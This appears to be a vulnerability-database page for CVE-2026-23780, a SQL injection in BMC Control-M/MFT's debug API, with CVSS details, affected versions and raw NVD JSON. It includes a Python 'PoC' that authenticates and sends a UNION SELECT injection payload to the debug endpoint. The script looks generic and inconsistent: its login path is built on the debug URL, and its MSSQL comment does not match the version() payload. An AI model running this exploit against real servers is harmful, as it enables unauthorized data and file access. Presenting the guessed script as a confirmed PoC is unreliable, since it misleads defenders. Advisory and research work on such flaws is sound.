Security Vulnerability Report
中文
CVE-2026-23780 CVSS 8.8 HIGH

CVE-2026-23780

Published: 2026-04-10 15:16:23
Last Modified: 2026-04-27 19:11:57

Description

An issue was discovered in BMC Control-M/MFT 9.0.20 through 9.0.22. A SQL injection vulnerability in the MFT API's debug interface allows an authenticated attacker to inject malicious queries due to improper input validation and unsafe dynamic SQL handling. Successful exploitation can enable arbitrary file read/write operations and potentially lead to remote code execution.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:bmc:control-m\/managed_file_transfer:*:*:*:*:*:*:*:* - VULNERABLE
BMC Control-M/MFT 9.0.20
BMC Control-M/MFT 9.0.21
BMC Control-M/MFT 9.0.22

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-23780: BMC Control-M/MFT SQL Injection # This script demonstrates the vulnerability in the debug interface. import requests import sys # Target URL (replace with actual target) target_url = "https://<target-host>:<port>/mft/api/debug" # Valid credentials are required (PR:L) username = "low_priv_user" password = "password" # Login to get session token (simplified) session = requests.Session() login_payload = {"username": username, "password": password} login_resp = session.post(f"{target_url}/login", json=login_payload) if login_resp.status_code != 200: print("[!] Authentication failed.") sys.exit(1) print("[+] Authentication successful.") # Malicious SQL Injection Payload # Attempting to perform a time-based blind injection or file read # Example: ' OR 1=1; WAITFOR DELAY '0:0:5'-- (for MSSQL) payload = { "operation": "get_logs", "id": "1' UNION SELECT NULL, NULL, NULL, version()-- " } headers = {"Content-Type": "application/json"} try: print(f"[*] Sending payload to {target_url}...") response = session.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Request sent successfully. Check response for SQL output.") print("[+] Response:", response.text) else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23780", "sourceIdentifier": "[email protected]", "published": "2026-04-10T15:16:23.083", "lastModified": "2026-04-27T19:11:56.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in BMC Control-M/MFT 9.0.20 through 9.0.22. A SQL injection vulnerability in the MFT API's debug interface allows an authenticated attacker to inject malicious queries due to improper input validation and unsafe dynamic SQL handling. Successful exploitation can enable arbitrary file read/write operations and potentially lead to remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bmc:control-m\\/managed_file_transfer:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.20", "versionEndIncluding": "9.0.22", "matchCriteriaId": "F19C6505-D28F-4BF0-B347-789719492E0E"}]}]}], "references": [{"url": "https://docs.bmc.com/xwiki/bin/view/Control-M-Orchestration/Control-M/ctm9022/Patches/Control-M-MFT-PAAFP-9-0-22-025/", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.bmc.com/support/resources/issue-defect-management.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}